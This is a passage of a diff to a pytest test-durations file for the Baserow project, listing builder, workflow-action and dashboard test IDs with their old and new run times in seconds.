0.16054879200146388, - "tests/baserow/contrib/builder/theme/test_theme_service.py::test_update_theme_user_not_in_workspace": 0.14446899900030985, - "tests/baserow/contrib/builder/user_sources/test_user_source_roles_serializer.py::test_roles_is_empty_by_default": 0.18608054100059235, - "tests/baserow/contrib/builder/user_sources/test_user_source_roles_serializer.py::test_roles_returns_expected_data[roles0]": 0.1674986669986538, - "tests/baserow/contrib/builder/user_sources/test_user_source_roles_serializer.py::test_roles_returns_expected_data[roles1]": 0.16221587599920895, - "tests/baserow/contrib/builder/user_sources/test_user_source_roles_serializer.py::test_roles_returns_expected_data[roles2]": 0.1617602500009525, - "tests/baserow/contrib/builder/user_sources/test_user_source_roles_serializer.py::test_serializer_has_expected_fields": 0.14983016699989093, - "tests/baserow/contrib/builder/user_sources/test_user_source_serializer.py::test_serializer_has_expected_fields": 0.17575145800037717, + "tests/baserow/contrib/builder/test_builder_handler.py::test_aggregate_user_source_counts": 0.884244665998267, + "tests/baserow/contrib/builder/test_builder_handler.py::test_builder_get_published_applications": 0.25895141702494584, + "tests/baserow/contrib/builder/test_builder_handler.py::test_get_builder": 0.029209707980044186, + "tests/baserow/contrib/builder/test_builder_handler.py::test_get_builder_does_not_exist": 0.021797418012283742, + "tests/baserow/contrib/builder/test_builder_handler.py::test_get_builder_select_related_theme_config": 0.26146383400191553, + "tests/baserow/contrib/builder/test_builder_handler.py::test_get_builder_used_properties_cache_key_returned_expected_cache_key[False-foo_role-used_properties_for_page_100_foo_role]": 0.01269016700098291, + "tests/baserow/contrib/builder/test_builder_handler.py::test_get_builder_used_properties_cache_key_returned_expected_cache_key[True--used_properties_for_page_100]": 0.013271625008201227, + "tests/baserow/contrib/builder/test_builder_handler.py::test_get_builder_used_properties_cache_key_returned_expected_cache_key[True-foo_role-used_properties_for_page_100]": 0.013022999977692962, + "tests/baserow/contrib/builder/test_builder_handler.py::test_public_allowed_properties_is_cached": 0.24575558395008557, + "tests/baserow/contrib/builder/test_core_handler_builder.py::test_can_duplicate_builder_application": 0.15183474999503233, + "tests/baserow/contrib/builder/test_core_handler_builder.py::test_duplicated_application_imports_integration": 0.1531632500118576, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[ButtonElement-ButtonElementType]": 0.3654962079890538, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[CheckboxElement-CheckboxElementType]": 0.3694718329643365, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[ChoiceElement-ChoiceElementType]": 0.38873674999922514, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[FormContainerElement-FormContainerElementType]": 0.3547036669915542, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[HeadingElement-HeadingElementType]": 0.36525645898655057, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[IFrameElement-IFrameElementType]": 0.3802209590212442, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[ImageElement-ImageElementType]": 0.3786587080103345, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[InputTextElement-InputTextElementType]": 0.3801849159935955, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[LinkElement-LinkElementType]": 0.3673575420107227, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[TextElement-TextElementType]": 0.3584185409999918, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_link_element_formula_generator": 0.4125063749961555, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_menu_element_formula_generator": 0.31253129098331556, + "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_table_element_formula_generator": 0.3721930849715136, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula['test']": 0.01565541699528694, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[1 + 2]": 0.01585420800256543, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[42]": 0.015822167013539, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[]": 0.017955665971385315, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[concat('foo','bar')]": 0.015839125029742718, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[concat(get('test_provider.1.10'),'bar')]": 0.015249665972078219, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[get('test_provider.1.10') = 'test']": 0.015811332006705925, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[get('test_provider.1.10')]": 0.015077207994181663, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import['test']": 0.015217376028886065, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[1 + 2]": 0.016357834014343098, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[42]": 0.014737249992322177, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[]": 0.014837708993582055, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[concat('foo','bar')]": 0.015554123994661495, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[concat(get('test_provider.1.10'),'bar')]": 0.015321209008106962, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[get('test_provider.1.10') = 'test']": 0.015463124960660934, + "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[get('test_provider.1.10')]": 0.015587791975121945, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_extract_properties_returns_none": 0.01271808403544128, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_formula_property_visitor_visit_function_call_handles_formula_error": 0.014140249986667186, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_builder_used_property_names_returns_all_property_names": 0.2454270000453107, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_builder_used_property_names_returns_empty_list": 0.0999247920117341, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_builder_used_property_names_returns_merged_property_names_integration": 0.7201825430092867, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_builder_used_property_names_returns_some_property_names": 0.23892708402127028, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_data_source_property_names_get_row_returns_property_names": 0.19072758298716508, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_data_source_property_names_list_rows_returns_property_names": 0.1718215420260094, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_data_source_property_names_returns_empty_if_invalid_formula": 0.1832608329714276, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_data_source_property_names_returns_empty_if_no_data_sources": 0.0925140829931479, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_data_source_property_names_skips_if_no_service": 0.14510920899920166, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_element_property_names_returns_empty_if_invalid_formula": 0.1700091669918038, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_element_property_names_returns_empty_if_no_elements": 0.01294341598986648, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_element_property_names_returns_empty_if_no_formulas": 0.24137174998759292, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_element_property_names_returns_property_names": 0.4088700419815723, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_workflow_action_property_names_returns_empty_if_invalid_formula": 0.1814258329977747, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_workflow_action_property_names_returns_empty_if_no_formulas": 0.17641025001648813, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_workflow_action_property_names_returns_empty_if_no_workflow_actions": 0.016534292022697628, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_workflow_action_property_names_returns_external_property_names[NotificationWorkflowActionType-formula_fields0]": 0.25196841699653305, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_workflow_action_property_names_returns_external_property_names[OpenPageWorkflowActionType-formula_fields1]": 0.24441020700032823, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_workflow_action_property_names_returns_internal_property_names[CreateRowWorkflowActionType]": 0.2447168350336142, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_workflow_action_property_names_returns_internal_property_names[DeleteRowWorkflowActionType]": 0.2451791659987066, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_workflow_action_property_names_returns_internal_property_names[UpdateRowWorkflowActionType]": 0.2592612069565803, + "tests/baserow/contrib/builder/test_formula_property_extractor.py::test_get_workflow_action_property_names_returns_property_names": 0.2555773749772925, + "tests/baserow/contrib/builder/test_migrations.py::test_0010_remove_orphan_collection_fields_forwards": 0.00011620897566899657, + "tests/baserow/contrib/builder/test_migrations.py::test_0018_resolve_collection_field_configs": 8.275001891888678e-05, + "tests/baserow/contrib/builder/test_migrations.py::test_0025_element_properties": 0.0008185000042431056, + "tests/baserow/contrib/builder/test_migrations.py::test_0025_theme_config_block": 8.179200813174248e-05, + "tests/baserow/contrib/builder/test_migrations.py::test_0026_element_styles": 7.708399789407849e-05, + "tests/baserow/contrib/builder/test_permissions_manager.py::test_allow_if_template_permission_manager": 0.5636017090291716, + "tests/baserow/contrib/builder/test_permissions_manager.py::test_allow_if_template_permission_manager_filter_queryset": 0.42231574904872105, + "tests/baserow/contrib/builder/test_runtime_formula_results.py::test_runtime_formula_arithmetic": 0.3716957080177963, + "tests/baserow/contrib/builder/test_runtime_formula_results.py::test_runtime_formula_boolean": 0.39707274999818765, + "tests/baserow/contrib/builder/test_runtime_formula_results.py::test_runtime_formula_comparison": 0.41864091699244455, + "tests/baserow/contrib/builder/test_runtime_formula_results.py::test_runtime_formula_comparison_operator": 0.4220436250034254, + "tests/baserow/contrib/builder/test_runtime_formula_results.py::test_runtime_formula_date": 0.3859743759967387, + "tests/baserow/contrib/builder/test_runtime_formula_results.py::test_runtime_formula_datetime_format": 0.3696612919738982, + "tests/baserow/contrib/builder/test_runtime_formula_results.py::test_runtime_formula_get_property": 0.4059285419934895, + "tests/baserow/contrib/builder/test_runtime_formula_results.py::test_runtime_formula_if": 0.36910854099551216, + "tests/baserow/contrib/builder/test_runtime_formula_results.py::test_runtime_formula_strings": 0.3964239589695353, + "tests/baserow/contrib/builder/test_snapshot_handler_builder.py::test_can_create_a_snapshot_for_builder_application": 0.10914862601202913, + "tests/baserow/contrib/builder/test_snapshot_handler_builder.py::test_can_delete_a_snapshot_for_builder_application": 0.10503079200861976, + "tests/baserow/contrib/builder/test_snapshot_handler_builder.py::test_can_restore_a_snapshot_for_builder_application": 0.14459191597416066, + "tests/baserow/contrib/builder/test_snapshot_handler_builder.py::test_can_restore_a_snapshot_with_integration": 0.14874270695145242, + "tests/baserow/contrib/builder/theme/test_theme_handler.py::test_theme_with_page_background_file_can_be_exported": 0.12957650001044385, + "tests/baserow/contrib/builder/theme/test_theme_handler.py::test_update_theme": 0.04092566602048464, + "tests/baserow/contrib/builder/theme/test_theme_service.py::test_theme_updated_signal_sent": 0.12211950001074001, + "tests/baserow/contrib/builder/theme/test_theme_service.py::test_update_theme_updated": 0.12793308298569173, + "tests/baserow/contrib/builder/theme/test_theme_service.py::test_update_theme_user_not_in_workspace": 0.09646629300550558, + "tests/baserow/contrib/builder/user_sources/test_user_source_roles_serializer.py::test_roles_is_empty_by_default": 0.09621495800092816, + "tests/baserow/contrib/builder/user_sources/test_user_source_roles_serializer.py::test_roles_returns_expected_data[roles0]": 0.13738837401615456, + "tests/baserow/contrib/builder/user_sources/test_user_source_roles_serializer.py::test_roles_returns_expected_data[roles1]": 0.14012112497584894, + "tests/baserow/contrib/builder/user_sources/test_user_source_roles_serializer.py::test_roles_returns_expected_data[roles2]": 0.1404129590082448, + "tests/baserow/contrib/builder/user_sources/test_user_source_roles_serializer.py::test_serializer_has_expected_fields": 0.09738416702020913, + "tests/baserow/contrib/builder/user_sources/test_user_source_serializer.py::test_serializer_has_expected_fields": 0.09562812402145937, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_models.py::test_builder_workflow_action_is_dynamic_event": 0.014206666965037584, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_builder_local_baserow_workflow_service_type_prepare_values_with_instance[local_baserow_builder_workflow_action_type0]": 0.3539703339920379, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_builder_local_baserow_workflow_service_type_prepare_values_with_instance[local_baserow_builder_workflow_action_type1]": 0.37407716596499085, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_builder_local_baserow_workflow_service_type_prepare_values_with_instance[local_baserow_builder_workflow_action_type2]": 0.3734572919784114, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_builder_workflow_action_type_dispatch[LogoutWorkflowActionType]": 0.012947624956723303, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_builder_workflow_action_type_dispatch[NotificationWorkflowActionType]": 0.013027792010689154, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_builder_workflow_action_type_dispatch[OpenPageWorkflowActionType]": 0.012906043033581227, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_builder_workflow_action_type_dispatch[RefreshDataSourceWorkflowActionType]": 0.013076126022497192, "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_builder_workflow_service_type_prepare_values_with_instance[builder_workflow_service_type0]": 0.5700724589996753, "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_builder_workflow_service_type_prepare_values_with_instance[builder_workflow_service_type1]": 0.5708191659996373, "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_builder_workflow_service_type_prepare_values_with_instance[builder_workflow_service_type2]": 0.5638020839996898, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_import_upsert_row_workflow_action_type": 0.4484714569998687, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[create_row]": 0.2853311680000843, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[delete_row]": 0.28469225099979667, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[logout]": 0.14720795799985353, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[notification]": 0.1458174159997725, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[open_page]": 0.15149029199983488, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[refresh_data_source]": 0.14586987499933457, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[update_row]": 0.2810772500006351, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_notification_workflow_action": 0.9593883340003231, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_open_page_workflow_action": 0.9712850840014653, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[create_row]": 0.5518675000002986, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[delete_row]": 0.5539358330006507, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[logout]": 0.4099465000008422, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[notification]": 0.414086084999326, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[open_page]": 0.40499595899837004, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[refresh_data_source]": 0.4042061250002007, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[update_row]": 0.5550820419994125, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_refresh_data_source_returns_value_from_id_mapping": 0.010041999999884865, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_refresh_data_source_returns_value_from_super_method[-id_mapping0]": 0.009731500000270898, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_refresh_data_source_returns_value_from_super_method[-id_mapping1]": 0.008198292000088259, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_refresh_data_source_returns_value_from_super_method[foo-id_mapping2]": 0.00848145899908559, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_import_upsert_row_workflow_action_type": 0.2602112489985302, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[ai_agent]": 0.18022304098121822, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[create_row]": 0.1781644170114305, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[delete_row]": 0.17730487399967387, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[http_request]": 0.10175879299640656, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[logout]": 0.09858091597561724, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[notification]": 0.09714491700287908, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[open_page]": 0.09682454299763776, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[refresh_data_source]": 0.09972541499882936, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[slack_write_message]": 0.17683216702425852, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[smtp_email]": 0.18572708300780505, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_export_workflow_action[update_row]": 0.17979029199341312, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_notification_workflow_action": 0.4395769169786945, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_open_page_workflow_action": 0.45403845896362327, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[ai_agent]": 0.3329837510245852, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[create_row]": 0.33444962598150596, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[delete_row]": 0.3336698740022257, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[http_request]": 0.26446879099239595, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[logout]": 0.253820915997494, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[notification]": 0.25180004100548103, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[open_page]": 0.25553704201593064, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[refresh_data_source]": 0.252044375956757, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[slack_write_message]": 0.33429287403123453, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[smtp_email]": 0.33195516699925065, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_import_workflow_action[update_row]": 0.34414724897942506, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_refresh_data_source_returns_value_from_id_mapping": 0.015354625036707148, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_refresh_data_source_returns_value_from_super_method[-id_mapping0]": 0.01471283397404477, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_refresh_data_source_returns_value_from_super_method[-id_mapping1]": 0.013563041982706636, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_refresh_data_source_returns_value_from_super_method[foo-id_mapping2]": 0.013012333016376942, "tests/baserow/contrib/builder/workflow_actions/test_workflow_action_types.py::test_upsert_row_workflow_action_prepare_values_with_instance": 0.3573769429931417, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_create_workflow_action": 0.2848161669990077, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_delete_workflow_action": 0.28531370899872854, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_get_workflow_action": 0.2893914170008429, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_get_workflow_actions": 0.2876371669990476, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_order_workflow_action_not_in_element": 0.29223766700033593, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_order_workflow_actions": 0.15280258399889135, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_order_workflow_actions_different_scopes": 0.2912112089998118, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_update_workflow_action": 0.42843529199944896, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_update_workflow_action_type_switching": 0.2893938760007586, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_create_workflow_action": 0.29060975000084, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_create_workflow_action_no_permissions": 0.420829165998839, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_delete_workflow_action": 0.28803749999951833, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_delete_workflow_action_no_permissions": 0.41746133400010876, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_dispatch_action_with_incompatible_action": 0.4126290420008445, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_dispatch_workflow_action_no_permissions": 0.551800084000206, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_get_workflow_action": 0.28747854199991707, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_get_workflow_action_no_permissions": 0.41665016599927185, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_get_workflow_actions": 0.28641691699976946, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_get_workflow_actions_no_permissions": 0.4199343759992189, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_order_workflow_actions": 0.15306020899970463, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_order_workflow_actions_user_not_in_workspace": 0.28047787600007723, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_update_workflow_action": 0.4252923739995822, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_update_workflow_action_change_type": 0.286757666000085, - "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_update_workflow_action_no_permissions": 0.552904082999703, - "tests/baserow/contrib/builder/ws/test_ws_elements_signals.py::test_element_created": 0.3298982910000632, - "tests/baserow/contrib/builder/ws/test_ws_elements_signals.py::test_element_deleted": 0.37067975100035255, - "tests/baserow/contrib/builder/ws/test_ws_elements_signals.py::test_element_orders_recalculated": 0.4731769999998505, - "tests/baserow/contrib/builder/ws/test_ws_elements_signals.py::test_element_updated": 0.3375709590009137, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_checkbox_column": 0.011318501000459946, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_count_column": 0.00996945700080687, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_created_on_column": 0.010994542000844376, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_date_column": 0.024974625001959794, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_create_workflow_action": 0.17101945797912776, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_delete_workflow_action": 0.17558883401216008, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_delete_workflow_action_with_service": 0.516229500004556, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_dispatch_workflow_action_doesnt_trigger_formula_recursion": 0.2613901670265477, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_get_builder_workflow_actions": 0.3300784589955583, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_get_workflow_action": 0.17341725001460873, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_get_workflow_actions": 0.17410062500857748, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_order_workflow_action_not_in_element": 0.18014083299203776, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_order_workflow_actions": 0.10275020799599588, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_order_workflow_actions_different_scopes": 0.175439250015188, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_update_workflow_action": 0.25725599998258986, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_handler.py::test_update_workflow_action_type_switching": 0.17339470903971232, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_create_workflow_action": 0.18367316699004732, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_create_workflow_action_no_permissions": 0.24402075001853518, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_delete_workflow_action": 0.1739446239953395, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_delete_workflow_action_no_permissions": 0.24285029101883993, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_dispatch_action_with_incompatible_action": 0.2417612500139512, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_dispatch_workflow_action_no_permissions": 0.32562983300886117, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_get_builder_workflow_actions": 0.2534699999669101, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_get_workflow_action": 0.1775164999999106, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_get_workflow_action_no_permissions": 0.24691366599290632, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_get_workflow_actions": 0.18336279201321304, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_get_workflow_actions_no_permissions": 0.24681529204826802, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_order_workflow_actions": 0.10533058398868889, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_order_workflow_actions_user_not_in_workspace": 0.17598937498405576, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_update_workflow_action": 0.25650612500612624, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_update_workflow_action_change_type": 0.19437704095616937, + "tests/baserow/contrib/builder/workflow_actions/test_workflow_actions_service.py::test_update_workflow_action_no_permissions": 0.33344579199911095, + "tests/baserow/contrib/builder/ws/test_ws_elements_signals.py::test_element_created": 0.3277580010180827, + "tests/baserow/contrib/builder/ws/test_ws_elements_signals.py::test_element_deleted": 0.3449864590074867, + "tests/baserow/contrib/builder/ws/test_ws_elements_signals.py::test_element_orders_recalculated": 0.3957773339934647, + "tests/baserow/contrib/builder/ws/test_ws_elements_signals.py::test_element_updated": 0.3405427090183366, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_dispatch_dashboard_data_source": 0.16821183302090503, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_dispatch_dashboard_data_source_data_source_doesnt_exist": 0.09240333299385384, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_dispatch_dashboard_data_source_permission_denied": 0.1024499169725459, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_dispatch_dashboard_data_source_unauthorized": 0.023539874993730336, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_dispatch_data_source_improperly_configured": 0.18526604201178998, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_get_dashboard_data_sources": 0.13233287501498125, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_get_dashboard_data_sources_dashboard_doesnt_exist": 0.0911379589815624, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_get_dashboard_data_sources_permission_denied": 0.10291054099798203, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_get_dashboard_data_sources_unauthorized": 0.09201804202166386, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_update_data_source": 0.15405208300217055, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_update_data_source_bad_request": 0.10328454099362716, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_update_data_source_change_type": 0.10804762499174103, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_update_data_source_does_not_exist": 0.09493754300638102, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_update_data_source_integration_id": 0.1838074989791494, + 